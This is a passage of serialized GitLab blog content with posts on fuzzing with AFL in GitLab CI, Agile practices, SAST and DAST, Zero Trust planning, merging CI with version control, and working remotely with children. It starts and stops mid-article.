`allow_failure: true` in the `.gitlab-ci.yml` file.\n\n## Collecting AFL output as a pipeline artifact\n\nRunning AFL has no value if the output can’t be collected in a workflow-friendly way, so we’ll use [pipeline artifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html). The entire artifact collection process can be defined in the `.gitlab-ci-yml` file.\n\nFirst, using the `after_scripts` parameter, which will run after `afl-gitlab.py` exits, we copy the `outputs` folder to a location in `$CI_PROJECT_DIR` (thus the `echo $CI_PROJECT_DIR done earlier`). This is important because you may run into [artifact not found issues](https://stackoverflow.com/questions/47490688/gitlab-ci-artifacts-not-found):\n\n```\nafter_script:\n  - cp -a /usr/src/afl-gitlab/outputs $CI_PROJECT_DIR\n```\nThen we simply collect the `outputs` folder as an artifact:\n\n```\nartifacts:\npaths:\n- $CI_PROJECT_DIR/outputs\n```\n\nYour output will then be viewable like any other pipeline artifact:\n\n![output artifact](https://about.gitlab.com/images/blogimages/output-artifact.png){: .shadow.medium.center}\n\n## Creating issues for every unique crash\n\nTo make this a truly automated workflow, you could use the [GitLab API](https://docs.gitlab.com/ee/api/) to create an issue for every unique crash. At this time, I haven’t had the time to invest heavily in this, but I’ll have to circle back when I do.\n\nHaving played with the artifacts API for only a few brief moments, the path of least resistance seems to be adding the logic to `afl-gitlab.py` **prior** to the artifact collection.\n\nFor a specific example on how to use `python-gitlab` to create issues, check out [an issue generator script I wrote for the HIPAA Audit Protocol](https://gitlab.com/ltrbojevic/hipaa-audit-protocol-issue-generator).\n\n## Distributed fuzzing and multi-system parallelization\n\nThe basic principles of multi-system parallelization apply whether you're running distributed fuzzing jobs manually or automating them on GitLab. While I haven't had a chance to port my personal workflows to GitLab yet, a quick glance tells me it’s likely possible.\n\nUsing `afl-gitlab.py`, you could run a separate script to handle the deployment, configuration, and de-provisioning of -S mode instances. My initial preference would be to run a second Python script – let's call it `afl-gitlab-s.py`  that would use `python-terraform` to provision and deprovision the infrastructure. Fabric can be used to configure the instances, start AFL, and so on.\n\nThere would have to be some thought put into the timing and orchestration between the two scripts. It's also important to note: your synchronization scripts have to be timed so as not to de-provision -S mode instances before a synchronization event occurs; especially if you opt for staged synchronization.\n\nLists make the most sense to me, so in other words:\n1. A Runner job runs `afl-gitlab.py`\n2. `afl-gitlab.py` starts a second script, `afl-gitlab-s.py`\n3. `afl-gitlab-s.py` does a short sleep to allow `afl-gitlab.py` to run the -M mode instance\n3. `afl-gitlab-s.py` uses `python-terraform` to provision -S mode instances\n4. `afl-gitlab-s.py` then uses Fabric to configure the -S mode instances (e.g., set up synchronization scripts) and start AFL\n5. `afl-gitlab-s.py` sleeps for 1:55 hrs\n6. `afl-gitlab-s.py` de-provisions the -S mode instances\n7. `afl-gitlab.py` ends the -M mode instance fuzzing\n\nNote that I'm assuming you've modified your synchronization scripts to transfer `crashes` and `hangs` to the -M mode instance. Please remember that the out-of-the-box synchronization scripts transfer `queue`, so unless you've modified your script to transfer other folder contents as well, you may lose findings when the -S mode instances are de-provisioned.\n\n## Automating advanced output triage and analysis\n\nMany triage and initial analysis workflows can be, and are, automated. My personal workflow includes a combination AFL's crash explorer, pwndbg, and radare2. I’ve condensed most of my initial triage to a single Python tool. The tool could be run as a Runner job, either on the Runner instance itself or, as above with the -S mode instances, offloaded to another box with the results returned to the Runner instance. Given that, and regardless of the language of your toolset, automating output triage and initial analysis seems to be doable with some tinkering.\n\nMuch like automatically creating an issue for every unique crash found, I’ve not yet had the time to focus on this and give it a go, but I’ll circle back and add it when I can.\n\n## Some final thoughts\n\nThere's a whole bunch we could automate and make more accessible in the fuzzing space. In the interest of reaching and benefiting the largest number of people, I’d love to see GitLab have mature fuzzing features that are helpful to developers and security folk alike. To help move that forward, I think community involvement in key. If you have the inclination please contribute to our [direction](https://gitlab.com/gitlab-org/gitlab-ee/issues/10852). And if, instead, you want to take this example and expand it outside of the GitLab ecosystem, please do and tell us how it went!\n\nPhoto by [Tom Fisk](https://www.pexels.com/@tomfisk?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com)\n{: .note}\n",[676,674],{"slug":28030,"featured":6,"template":678},"american-fuzzy-lop-on-gitlab","content:en-us:blog:american-fuzzy-lop-on-gitlab.yml","American Fuzzy Lop On Gitlab","en-us/blog/american-fuzzy-lop-on-gitlab.yml","en-us/blog/american-fuzzy-lop-on-gitlab",{"_path":28036,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28037,"content":28043,"config":28048,"_id":28050,"_type":16,"title":28051,"_source":17,"_file":28052,"_stem":28053,"_extension":20},"/en-us/blog/agile-best-practices",{"title":28038,"description":28039,"ogTitle":28038,"ogDescription":28039,"noIndex":6,"ogImage":28040,"ogUrl":28041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28041,"schema":28042},"5 Agile best practices","Make the most out of Agile development with these technical best practices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678597/Blog/Hero%20Images/run-agile-in-gitlab.jpg","https://about.gitlab.com/blog/agile-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Agile best practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-08-13\",\n      }",{"title":28038,"description":28039,"authors":28044,"heroImage":28040,"date":28045,"body":28046,"category":8943,"tags":28047},[20767],"2019-08-13","\n\n[Agile development](/solutions/agile-delivery/) can have\na transformative impact on teams and applications. These five best practices can\nhelp your team streamline and accelerate delivery.\n\n## 1. Continuous integration\n\n[Continuous integration](/solutions/continuous-integration/) works by pushing small code chunks\nto an application’s codebase hosted in a Git repository. Every push triggers a pipeline of scripts to build,\ntest, and validate code changes before merging them into the main branch. By\nbuilding and testing each change as early as possible – usually several times a\nday – teams can detect errors as quickly as possible, reduce integration problems,\nand avoid compounding problems, allowing teams to develop faster, with more confidence.\n\n## 2. Retrospectives\n\n[Retrospectives](/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives/) are conversations about what went well and what went wrong in a\nproject or iteration. One of the most important Agile qualities is continuous\nlearning, and retros provide a transparent way to discuss how various teams\nexperienced a sprint and voice any concerns or ideas.\n\n> “A successful team is a happy team. Bringing down cycle time can help a team be more\nsuccessful because they are shipping value more often, but your team might have more\nimportant things that must be addressed first. Using retrospectives will help you figure\nout what success means to your team, and what needs to be done to achieve\nthat success.” – [Rachel Nienaber](/company/team/#rnienaber), engineering manager, Geo\n\nTo generate the best results from a retrospective, there should be\n[a safe environment for feedback and discussion and a plan for advancing discussion\nfrom facts to\nconclusions](/handbook/engineering/management/group-retrospectives/).\n\n## 3. Pairing\n\nPairing sessions can help team members work through features both large and small,\ninspiring problem-solving and ideation. When pairing, one team member writes code\nwhile the other reviews each line. Pairing results in fewer bugs, increased innovation,\nand skills development. Team members can learn from each other and discover best\npractices. Team members can spontaneously pair or managers can set up a more\n[formal pairing session process](https://gitlab.com/gitlab-com/support/support-training/issues?label_name%5B%5D=pairing) 🍐\n\n## 4. Iterative development\n\nWhen teams iterate with small changes, they can\n[reduce cycle time](/blog/strategies-to-reduce-cycle-times/) and spark rapid feedback cycles.\nBy making the quickest changes possible to improve a user's outcome, teams can add\nuseful functionality with fewer bugs or usability issues since potential problems\nare spotted early. Other benefits of iterative development include faster time to\nmarket, reduced scope creep, and increased morale (i.e. team members can see their\nwork right away rather than wait several releases).\n\n## 5. Burndown charts\n\nIf your team uses a Scrum framework, consider using [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) to monitor\nsprint progress. Teams can visualize the work scoped in the current sprint to\nunderstand what work has been completed, allowing them to react to risks quickly\nand adapt. This information can help business stakeholders understand that anticipated\nfeatures may be delayed until a future sprint.\n\nEmploying Agile best practices will have a significant positive impact on efficiently\ncreating customer-centric products.\n\nDo you have any best practices that have transformed your team’s development process? We’d love to hear them!\n\nCover image by [Mikael Kristenson](https://unsplash.com/@mikael_k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/6GjHwABuci4)\n{: .note}\n",[1899,2368,4103,1444],{"slug":28049,"featured":6,"template":678},"agile-best-practices","content:en-us:blog:agile-best-practices.yml","Agile Best Practices","en-us/blog/agile-best-practices.yml","en-us/blog/agile-best-practices",{"_path":28055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28056,"content":28062,"config":28068,"_id":28070,"_type":16,"title":28071,"_source":17,"_file":28072,"_stem":28073,"_extension":20},"/en-us/blog/developer-intro-sast-dast",{"title":28057,"description":28058,"ogTitle":28057,"ogDescription":28058,"noIndex":6,"ogImage":28059,"ogUrl":28060,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28060,"schema":28061},"SAST & DAST: Key security tests for development workflows","Bolster your code quality with static and dynamic application security testing. Learn why you need SAST and DAST for your projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680714/Blog/Hero%20Images/intro-developer-sast-dast.jpg","https://about.gitlab.com/blog/developer-intro-sast-dast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you need static and dynamic application security testing in your development workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-08-12\",\n      }",{"title":28063,"description":28058,"authors":28064,"heroImage":28059,"date":28065,"body":28066,"category":8943,"tags":28067},"Why you need static and dynamic application security testing in your development workflows",[22656],"2019-08-12","\n\nDevOps is a quickly growing practice for companies in almost every market. With\nthe influx of cyber attacks over the past decade, security has slowly crept\nforward in the SDLC to the point where we’re now hearing the term [DevSecOps](/blog/announcing-gitlab-devsecops/) in developer circles.\n\nTo keep things tidy and help developers manage additional security\nresponsibilities, tools for static and dynamic [application security](/topics/devsecops/) testing\n(SAST and DAST) have made their way into the fray. In this post, we’ll\nexplain what SAST and DAST are, how they fit into developers’ workflows, and\nwhen they should be used.\n\n## What is application security testing (AST)?\n\nApplication security testing (AST) refers to the process of testing code to make sure it is free of vulnerabilities. There are many ways to test code, though static application security testing (SAST) and dynamic application security testing (DAST) are two of the more well-known options. \n\nApplication security testing has traditionally been a manual (and time-consuming) process, but the growing popularity of DevOps and the risk of insecure code have driven the majority of development teams to automate at least some of the processes. These days, most organizations use a variety of security testing tools to complete AST.\n \n## What are SAST and DAST?\n\nWhat are SAST and DAST? As previously mentioned, under the AST umbrella, there live two different security testing approaches: SAST and DAST. Though different, neither is better than the other and the security \ntesting outcome is superior when both are used together to detect security vulnerabilities in web applications and source code. SAST is a security testing approach that is performed on the application's code, while DAST is an approach that is performed on the running application. Both SAST and DAST are \nessential components of a comprehensive security testing strategy for software applications.\n\nIn summary, SAST and DAST help to ensure that computer systems are both safe and secure. These security measures help make sure that information is protected from hackers and other people who may try to steal it. They are critical tools for successful DevSecOps. Each runs a set\nof automated tests, and both introduce security at the beginning of the\nsoftware development lifecycle.\n\n### Static application security testing (SAST)\n\n[SAST](https://docs.gitlab.com/ee/user/application_security/sast/) can\nbe used to analyze source code for known vulnerabilities – and is also a type\nof white box testing. The test will run before your code is deployed, ensuring\nthat developers are alerted to fixes during the development phase.\nSAST can help remediate situations where your code has a potentially dangerous\nattribute in a class or unsafe code that can lead to unintended code execution.\n\n![An example of a SAST summary within a GitLab merge request](https://about.gitlab.com/images/secure/sast.png){: .shadow.medium.center}\n\nWithin GitLab, SAST will automatically generate a summary of fixes and unresolved\nvulnerabilities following every code commit, but before your code is merged to the target\nbranch. Tools that allow SAST reports to sit within the developer’s work\ninterface enable ease of remediation and streamline testing procedures within\nthe development phase.\n\nSAST takes an inside-looking-out approach, looking for security problems that might have been missed during source code development. It is effective when used after development is complete but before the finished project (and any missed security vulnerabilities) is deployed. Lots of developers nowadays integrate SAST testing into their CI/CD pipelines.\n\n### Dynamic application security testing (DAST)\n\n[DAST](https://docs.gitlab.com/ee/user/application_security/dast/), a\ntype of black box testing, analyzes your running web applications or known\nruntime vulnerabilities. GitLab’s DAST tool runs live attacks on a review app\nduring QA, meaning developers can iterate on new apps and updates earlier and\nfaster.\n\nAs with SAST, DAST should auto-run so that the developer doesn’t have to take measures to initiate the test. In other situations, DAST can also be used to\ncontinuously monitor live web applications for issues like cross-site scripting\nor broken authentication flaws. Test results should inform developers of\npotential vulnerabilities and serve as a catalyst for ongoing updates.\n\nDAST tools help you see your web application through the eyes of a hacker in a deployed environment. It constantly scans for security vulnerabilities during web application runtime, as well as checking the other API or web services that your application connects to. This makes DAST excellent for testing your complete IT environment where your application or web services run.\n\n## Test early and often using SAST and DAST\n\nStatic and dynamic application security testing are two helpful tools to keep\nyour code secure, but don’t rely on them to handle all of your security needs.\nIt’s still important to do manual code reviews, test high-level behaviors and\nfunctionality, conduct database scanning, and ensure that your whole team is\noperating with a security-first mindset.\n\nCover image by [Mikael Kristenson](https://unsplash.com/@mikael_k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\non [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[942,674,110],{"slug":28069,"featured":6,"template":678},"developer-intro-sast-dast","content:en-us:blog:developer-intro-sast-dast.yml","Developer Intro Sast Dast","en-us/blog/developer-intro-sast-dast.yml","en-us/blog/developer-intro-sast-dast",{"_path":28075,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28076,"content":28082,"config":28087,"_id":28089,"_type":16,"title":28090,"_source":17,"_file":28091,"_stem":28092,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-problems-goals-challenges",{"title":28077,"description":28078,"ogTitle":28077,"ogDescription":28078,"noIndex":6,"ogImage":28079,"ogUrl":28080,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28080,"schema":28081},"Zero Trust at GitLab: Problems, goals, and coming challenges","We map out our Zero Trust goals, the challenges we expect to encounter along the way, and how we plan to address them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680704/Blog/Hero%20Images/beasty-ztblog-unsplash.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-problems-goals-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Problems, goals, and coming challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-08-09\",\n      }",{"title":28077,"description":28078,"authors":28083,"heroImage":28079,"date":28084,"body":28085,"category":674,"tags":28086},[5362],"2019-08-09","\n\nUpdate: This is part 2 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/).\n{: .alert .alert-info .note}\n\n\n_Zero Trust is the practice of shifting access control from the perimeter of the organization to the\nindividuals, the assets and the endpoints. For GitLab, Zero Trust means that all devices trying\nto access an endpoint or asset within our GitLab environment will need to authenticate and\nbe authorized. This is part two of a multi-part series. Read the first post, [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)._\n\nThe benefits of Zero Trust Networking (ZTN) on paper are ideal and many rush to\nimplement it with no idea exactly what it is (or how to get there).\nWe [previously discussed the evolution of ZTN](/blog/evolution-of-zero-trust/)\nand have been working on ways to implement things since then.\n\nVendors have appeared left and right, trying to sell their own versions of ZTN, but curiously no\ntwo seem to have the same interpretation. All of them say\nthey have a product that does ZTN and it is “easy to use,” but of course if you nail them down on\nthe implementation they all seem to fall short in one area or another.\n\n## Defining the problem\n\nI alluded to this above, but let’s clearly restate the problem – how does a diverse company\nimplement Zero Trust when no one can seem to agree on any of it? The most common issue for those\ntrying to roll out a ZTN is that, to be successful, everything must work together.\nThe basic principles of Zero Trust – positively identify the user, positively identify\nthe device accessed as managed and secure, ensure the user and the device\nare allowed to get into the asset they are trying to access, and do all of this in real time –\nare somehow very hard for most people to understand.\n\nWe probably should have clearly stated in our last blog post that the biggest problem with\n[the BeyondCorp solution](https://cloud.google.com/beyondcorp/) outlined by Google is that it is\ntailored for Google. This series\nof blog posts will take a closer look at the issues we are trying to solve, along with our\nworking approach. It is tailored for GitLab and won’t necessarily work everywhere else.\nHopefully it will provide insight into our thought process, encourage some discussion, and\npossibly help others along their own paths.\n\n## What we want\n\nImplementing ZTN at GitLab involves determining what we want out of this, which is really an\nextension of our objectives for [GitLab security](/handbook/security/#security-vision)\nin general. What we want to do is the following:\n\n- **Protect the data that needs to be protected.** Different types of data need to be protected at\ndifferent levels, so we must be able to have that flexibility.\n- **Positive team member identification.** When a team member authenticates, we need to know it\ntruly is that team member, and we need to know what the allowable data is. This needs\nto happen in real time.\n- **Positive device identification.** We need to identify the authenticated team member’s access\ndevice, and based upon the level of trust associated with that device, determine whether the\ndevice is allowed to access particular data, regardless of team member identity. This needs to\nhappen in real time.\n- **Geo-location identification.** We need to identify the team member’s location while at work\nand restrict access to certain data based upon team member geolocation. This\nneeds to happen in real time.\n- **Automated access.** We need to subject all automated processes that access data to the\nsame data protection policies as team members and devices. Again, this needs to happen in real time.\n- **Logging.** We need to properly log all transactions for auditing and monitoring purposes.\n- **No weakening of existing controls.** Data must be protected at rest and in transit. Any\nand all solutions should not detract from this.\n- **Security should make things easier, not harder.** If we do this correctly, the process\nwill be streamlined. Team members in general should be able to do their jobs effectively and\nquickly. Security should be so streamlined that the process is not cumbersome, as this tends\nto inspire some team members to try and bypass it.\n\n## Expected challenge areas\n\nWe’ve laid out what we want to do, and it was pleasant to discover in quite a few cases\nwe are already doing just that. We just lacked either the real-time component or we\nsimply had some type of inconvenient workaround to protect data that inhibited team members\nfrom doing their jobs easily. Based upon that knowledge and what we want to achieve, we’ve\ndevised a list of potentially challenging areas we may encounter:\n\n### Our network\n\nWe are a company that has no perimeter to speak of, as all team members are\nremote. In a way this is good, since [we don’t have a corporate\nVPN](/handbook/security/#why-we-dont-have-a-corporate-vpn) and therefore don't have to\nface dismantling it. But we do have to ensure that we maintain some semblance of control so we\nare assured that as a team member authenticates, it is done in a safe way and is independent\nof the network they are using.\n\n### Our apps and our data\n\nWe use a number of products, including our own DevOps\noffering. While we can control our own product and alter it to better serve our needs\n(and subsequently release said changes to our customers for their own needs), this does not\naddress the public cloud offerings our infrastructure is based on and that we use on\na regular basis: GCP, AWS, Azure, and Digital Ocean. Nor does it consider the variety of\ncontrols (and their variations) used to administer and secure these platforms. Solutions\nthat present themselves as working just fine on one cloud offering may not work the same\n(or at all) on another platform, which causes its own challenges. It also does not address\nadditional services such as Slack, Expensify, BambooHR, Zendesk, and others that contain\ndata we have to protect. Therefore, we need to extend our protection to cover our\ndata no matter where it resides.\n\n### It’s not just us\n\nWe sell services to customers including private groups and projects\non GitLab.com that need protecting from the public and whose access is restricted from\nus on a need-to-know basis.\n\n### Scaling\n\nWe’re growing at a rather accelerated rate, in terms of both customers and team\nmembers. All solutions to problems have to scale, including security solutions such as ZTN.\n\n### Our customers are global\n\nThere are contractual obligations, and as well as regulatory\nand compliance issues, across the globe for our customers that need to be observed.\n\n### Our team members are also global\n\nThere are unique issues across our diverse team\nmember base, residing in more than a quarter of all countries on the planet. Each country has its\nown regulations, standards, and needs.\n\n## Coming next\n\nWe think some of these challenge areas might look familiar to many of you, and while we\nhope this post has been useful we're definitely heading into some deep and murky water going forward!\nIn the next post, we’ll take a dive into the deep end of this far-from-straightforward issue in to one of the more\nchallenging areas: our data and the infrastructure it resides upon.\n\n*Special shout-out to the entire security team for their input on this entire blog series.*\n\nPhoto by [beasty](https://unsplash.com/@beastydesign?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,674,6141],{"slug":28088,"featured":6,"template":678},"zero-trust-at-gitlab-problems-goals-challenges","content:en-us:blog:zero-trust-at-gitlab-problems-goals-challenges.yml","Zero Trust At Gitlab Problems Goals Challenges","en-us/blog/zero-trust-at-gitlab-problems-goals-challenges.yml","en-us/blog/zero-trust-at-gitlab-problems-goals-challenges",{"_path":28094,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28095,"content":28101,"config":28106,"_id":28108,"_type":16,"title":28109,"_source":17,"_file":28110,"_stem":28111,"_extension":20},"/en-us/blog/built-in-ci-cd-version-control-secret",{"title":28096,"description":28097,"ogTitle":28096,"ogDescription":28097,"noIndex":6,"ogImage":28098,"ogUrl":28099,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28099,"schema":28100},"The market figured out GitLab’s secret","Why we decided to combine version control with CI, and the rise of the single application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663648/Blog/Hero%20Images/gitlab-joins-cd-foundation.jpg","https://about.gitlab.com/blog/built-in-ci-cd-version-control-secret","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The market figured out GitLab’s secret\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2019-08-08\",\n      }",{"title":28096,"description":28097,"authors":28102,"heroImage":28098,"date":28103,"body":28104,"category":8943,"tags":28105},[3532],"2019-08-08","\n\nThere’s a movement in the DevOps industry and the world right now: to do more in a simple way that inspires us to innovate. GitLab started this trend in the DevOps space by simplifying the delivery of code by combining GitLab CI and [GitLab version control](/topics/version-control/). We didn't originally buy into the idea that this was the right way to do things, but it became our secret capability that we’ve doubled down on.\n\n## Let’s combine applications\n\nThe story starts with [Kamil Trzciński](/company/team/#ayufanpl), now a distinguished engineer at GitLab. Soon after Kamil came to work for GitLab full time, he began talking with me and my co-founder, [Dmitriy Zaporozhets](/company/team/#dzaporozhets), suggesting that we bring our two projects together – GitLab Version Control and GitLab CI, making it into one application. Dmitriy didn’t think it was a good idea. GitLab version control and CI were already perfectly integrated with single sign-on and APIs that fit like a glove. He thought that combining them would make GitLab a monolith of an application, that it would be disastrous for our code quality, and an unfortunate user experience. After time though, Dmitriy started to think it was the right idea as it would deliver a seamless experience for developers to deliver code quickly.\n\nAfter Dmitriy was convinced, they came to me. I also didn’t think it was a good idea. At the time I believed we needed to have tools that are composable and that could integrate with other tools, in line with the Unix philosophy. Kamil convinced me to think about the efficiencies of having a single application.\n\n>“Well, if you don’t believe that it’s better for a user, at least believe it’s more efficient for us, because we only have to release one application instead of two. Efficiency is in our values.” - Kamil Trzcinski, distinguished engineer at GitLab\n\n## Realizing the future of DevOps is a single application\n\nThat made sense to me and I no longer stood in their way. The two projects merged and the results were beyond my expectations. The efficiencies that were so appealing to us, also made it appealing to our customers. We realized we stumbled on a big secret because nobody believed that the two combined together would be a better way of continuously delivering code to market. We doubled down on this philosophy and we started doing [continuous delivery](/topics/continuous-delivery/).\n\nFrom that day on, I saw the value of having a single application. For example, a new feature we are implementing is auto-remediation. When a vulnerability comes out, say a heart bleed, GitLab will automatically detect where in your codebase that vulnerability exists, update the dependency, and deliver it to your production environment. This level of automation would be hard to implement without being in a single application. By combining the projects we unified teams – helping them realize the original intent of DevOps – and that is magical to see.\n\n## The market validates our secret\n\nAnd while we bet on this philosophy the industry is now seeing it as well. In September of 2015 we [combined GitLab CI and GitLab version control](/releases/2015/09/22/gitlab-8-0-released/) to create a single application. By March of 2017, Bitbucket also realized the advantages of this architecture and [released Pipelines as a built-in part of Bitbucket](https://dzone.com/articles/bitbucket-adds-pipelines). In 2018, [GitHub announced Actions](https://techcrunch.com/2018/10/16/github-launches-actions-its-workflow-automation-tool/) with CI-like functionality built into a single application offering. In the last six months, [JFrog acquired Shippable](https://techcrunch.com/2019/02/21/jfrog-acquires-shippable-adding-continuous-integration-and-delivery-to-its-devops-platform/) and [Idera acquired Travis CI](https://hub.packtpub.com/idera-acquires-travis-ci-the-open-source-continuous-integration-solution/), showing a consolidation of the DevOps market and a focus on CI. The market is validating what we continually hear from our users and customers: that a simple, single DevOps application meets their needs better.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MNxkyLrA5Aw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe hope you will continue to join us in our effort to bring teams together to innovate. [Everyone can contribute](/company/mission/#mission) here at GitLab and as always, we value your feedback, thoughts, and contributions.\n\nWant to hear me talk through the origin story? Listen to the [Software Engineering Daily podcast](https://softwareengineeringdaily.com/2019/03/15/gitlab-with-sid-sijbrandij/) where I talk about combining GitLab CI and GitLab Version Control.\n",[110,4103],{"slug":28107,"featured":6,"template":678},"built-in-ci-cd-version-control-secret","content:en-us:blog:built-in-ci-cd-version-control-secret.yml","Built In Ci Cd Version Control Secret","en-us/blog/built-in-ci-cd-version-control-secret.yml","en-us/blog/built-in-ci-cd-version-control-secret",{"_path":28113,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28114,"content":28120,"config":28124,"_id":28126,"_type":16,"title":28127,"_source":17,"_file":28128,"_stem":28129,"_extension":20},"/en-us/blog/remote-kids-part-four",{"title":28115,"description":28116,"ogTitle":28115,"ogDescription":28116,"noIndex":6,"ogImage":28117,"ogUrl":28118,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28118,"schema":28119},"5 Things to keep in mind while working remotely with kids","A flex schedule, realistic expectations, and a positive attitude will make it easier to work with kids around.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680690/Blog/Hero%20Images/working-at-home-with-kids.jpg","https://about.gitlab.com/blog/remote-kids-part-four","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Things to keep in mind while working remotely with kids\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2019-08-08\",\n      }",{"title":28115,"description":28116,"authors":28121,"heroImage":28117,"date":28103,"body":28122,"category":6634,"tags":28123},[20267],"\n\n_This is the fourth and final blog post in our series on working remotely with children of all ages. In part one we looked at [maternity/paternity leave policies around the world](/blog/how-is-it-being-a-new-mom-working-for-gitlab/); in part two Jarka Košanová shared her experience [working at GitLab with a newborn](/blog/balancing-career-and-baby/); and in part three GitLab team members had good advice to [make the most of workspace shared with children](/blog/working-remotely-with-children-at-home/)._\n\nDuring [GitLab Contribute 2019](/blog/contribute-wrap-up/) in\nNew Orleans, facilitators [Lyle Kozloff][lyle] and myself, [Sean McGivern][smcgivern], hosted\nfour unconference sessions about\nworking remotely with children at home. GitLab team members had helpful and practical\nadvice on everything from flexibility to time with a partner.\n\n## 1. Embrace a flexible schedule\n\n> My son started playschool (recently) and it's only two hours. I don't go home\nbecause it's a waste of time so I work from there – no coding, no\ndeep work, just going through mentions and stuff. – [_Heinrich Lee Yu, backend engineer_][engwan]\n\n> My daughter has always been a great sleeper, so my husband\nand I wake up around 5:00 each morning (he also works remotely)\nto get a head start on work. We are usually able to get a couple\nhours of work in before she even wakes up, freeing up our afternoon\nto spend time with her. – [_Annabel Dunstone Gray, product designer_][annabeldunstone]\n\nBy [working asynchronously](/handbook/communication/#introduction) we can arrange our time to match our own schedules. (This doesn't only apply to parents, of course; anyone can do this.) Different roles have different expectations, of course. If you work in Support you’ll need to provide timezone coverage, but even within that, there\nis a lot of scope to arrange your work schedule to match your childcare,\nrather than the other way around.\n\n## 2. Be more disciplined with that schedule\n\n> I had to get a lot more disciplined with my time. When I was young and\nsingle I could just get behind and pull an all-nighter, but I can't do\n that any more. I'm more efficient. There's a switching cost, but\n you'll be better in the long run. – [_Eric Johnson, VP of Engineering_][edjdev]\n\n> Having kids will make you develop this efficiency, I have to pick my\n son up from kindergarten at four and sometimes no one else can do that, so I need\n to schedule my work around that. - [_Grzegorz Bizon, staff backend engineer_][grzesiek]\n\nBeing flexible doesn't mean being undisciplined. With children at home,\nthere are a lot of competing demands on your time. For many people, this\nmeans that they become more efficient out of necessity. It’s hard to partly work and partly do something and then make up for it with extra hours at the keyboard, because there are no more spare hours.\n\n## 3. The role of relationships\n\n> My wife and I made an agreement that we're not going to let kids stop\nus doing sports. We play on the same teams, and we just bring our\nkids. There's normally enough people around to help keep an eye on\nthem while we're playing. It's hard when my wife's working one night,\nthough. – [_Chris Maurer – manager, Customer Success, Public Sector_][cdmaurer13]\n\n> When we had the first kid, we were doing everything as a couple:\nwhatever it was, we were together. Then, with the arrival of our\nsecond kid, we felt like we had to care for one kid each. With time,\nthe fear of ending up alone with both kids had taken root. We had to\nchange something: we simply had to let go. One person can care for both\nkids for the night, and the other one is free to go out and do\nwhatever they want. Turns out this actually totally removed the fear\nof being alone. We both let each other go out to do something social to\nreinvigorate a bit. We even started bouldering, but we never go on\nthe same night. – [_Micaël Bergeron, backend engineer_][mbergeron]\n\nIt's important to keep doing things you enjoy when you have children. It\nsets a good model for your children, and will make you happier which\nwill help you be a better parent.\n\n## 4. Set expectations\n\n> It took us an entire child to realise that while co-suffering feels\nlike the right thing to do, it's less efficient – you both end up tired\nand exhausted. – [_Lyle Kozloff, Support engineering manager_][lyle]\n\n> Don't keep count of the things that you and your partner are doing,\njust do everything you can. I did the majority of the raising the\nbabies, but my husband would take night things. – [_Karlia Kue,\nBusiness Systems Analyst_][kxkue]\n\nThis relates to every other point here. The worst thing that can happen\nis that people get resentful or stressed, and that is more likely to\nhappen when it's not clear whose responsibility it is.\n\nOn a personal note, and although it sounds a little goofy: The concept\nof [directly responsible individuals](/handbook/people-group/directly-responsible-individuals/) we use at GitLab also helped my partner and I manage the way we think about who's responsible for our\nson at any point.\n\n## 5. Enjoy it\n\n> My daughter is my best friend, and I am so blessed to be able to see her\ngrow into her own little person while still accomplishing my professional goals.\nSeeing her interact (\"Hi!\" for everyone) with all of my GitLab teammates at\nContribute was also very special. – [_Brittany Rohde, Compensation & Benefits 